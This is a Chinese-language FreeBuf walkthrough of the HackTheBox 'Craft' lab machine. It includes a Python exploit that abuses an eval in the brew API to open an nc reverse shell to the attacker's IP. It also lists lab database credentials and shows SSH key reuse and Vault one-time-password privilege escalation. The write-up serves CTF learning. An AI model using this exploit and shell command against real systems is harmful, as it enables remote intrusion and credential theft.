freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

HackTheBox –Craft实战
2021-06-29 16:48:10

HackTheBox –Craft

ip:http://10.10.10.110/


信息搜集

端口扫描:使用nmap扫描发现开了22(ssh)端口和443(http/ssl)
image
版本可从web网页上获取:
Web 服务器
Nginx1.15.8
Reverse Proxy
Nginx1.15.8

首先访问页面,访问该链接http://10.10.10.110/看到是一片空白,试了一下使用https来进行访问,访问成功!
image
访问页面查看右上角的图标发现他有域名,所以使用hosts文件来进行绑定:
image

从上面图片发现他跟我们说查看我们的API! 这里先进行查看https://api.craft.htb/api/
image
在这块发现一个登陆页面
image

返回刚刚首页,点击右上角图标时他会跳转到https://gogs.craft.htb/这个页面,经过多次查看发现点击左上角的发现会跳转到一个仓库仔细看的话是api源码

image

进行下载,代码分析一下
image
果然,在test.py文件中,我们知道api页面需要首先进行auth/login(用户名密码未知),然后才能使用brew接口。没找到什么敏感信息,之后就来审计一下接口文件,经过找了好长时间终于发现brew.py中有个eval,现在知道这块有命令执行需要调用os.system
image
因为当时我是在bp里面拦截https://api.craft.htb/api/提交参数的方式进行利用的 中途因为没有token的凭证绕了好长时间 最后是在上面所说的登陆页面获取的(经过多次提交发现他的token是随机的)
在这里有用户提交点开add.test之后发现用户和密码。

image
image

dinesh 账户 4aUh0A8PbVJxgd 密码
登陆成功之后发现是一串随机token

通过几种方式都不成功,终于最后写了python脚本代码如下:
#

!/usr/bin/env python

import requests
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

IP = "10.10.16.9"
PORT = "4444"

print("[] Requesting a token")
response = requests.get("https://api.craft.htb/api/auth/login", auth=("dinesh", "4aUh0A8PbVJxgd"), verify=False)
json_response = json.loads(response.text)
token = json_response["token"]
print("[] Token: " + token)

print("[] Validatting authorization")
headers = { "X-Craft-API-Token": token, "Content-Type": "application/json" }
response = requests.get("https://api.craft.htb/api/auth/check", headers=headers, verify=False)
print("[] Response: " + response.json()["message"])

print("[*] Connecting a reverse shell at " + IP + ":" + PORT)
brew_dict = {}
brew_dict["abv"] = "import('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f')" % (IP, PORT)
brew_dict["name"] = "bullshit"
brew_dict["brewer"] = "bullshit"
brew_dict["style"] = "bullshit"
json_data = json.dumps(brew_dict)
response = requests.post("https://api.craft.htb/api/brew/", headers=headers, data=json_data, verify=False)

print("[?] Did you turn on netcat listener at " + IP + ":" + PORT + "?")

imageimage

python -c 'import pty;pty.spawn("/bin/sh")'


image

成功得到shell,但是id直接是root用户,之后才发现原来是docker用户,接着我查看settings.py,有一个数据库凭据,直接修改了他的sql语句,有四个用户
image
如下:

[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]
gilfoyle      ZEU3N8WNM2rh4T
dinesh       4aUh0A8PbVJxgd
ebachman     llJ77D8QFkLPQB

现在继续进行信息搜集,在刚刚https://gogs.craft.htb/界面有一个登陆,输入刚刚获取到的用户和密码一个一个进行搜集发现在gilfoyle 用户里面的私人项目里有.ssh 所以当然是直接用id_rsa 进行ssh登陆,如图:
ssh -i id_rsa gilfoyle@10.10.10.110

image已登录!!!!

进行提权:
用上面的方法我给他下载了脚本进行执行得出他的内核和发行版本的详细信息 用户信息 服务等信息.....
scp -i id_rsa -r /Users/ice/Downloads/LinEnum-master/LinEnum.sh gilfoyle@10.10.10.110:/tmp
image
执行完之后我是在https://www.exploit-db.com/上面搜索的版本号结果不友好

在刚刚下载的项目中查看发现vault查看官方文档https://www.vaultproject.io/docs/secrets/ssh/one-time-ssh-passwords.html最后终于使用vault来进行提权,会返回给我们otp 直接登录
image(vault是一种用于在现代应用程序体系结构中安全地管理机密信息的流行工具,很方便而且安全的一款工具)
image

# HackTheBox
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者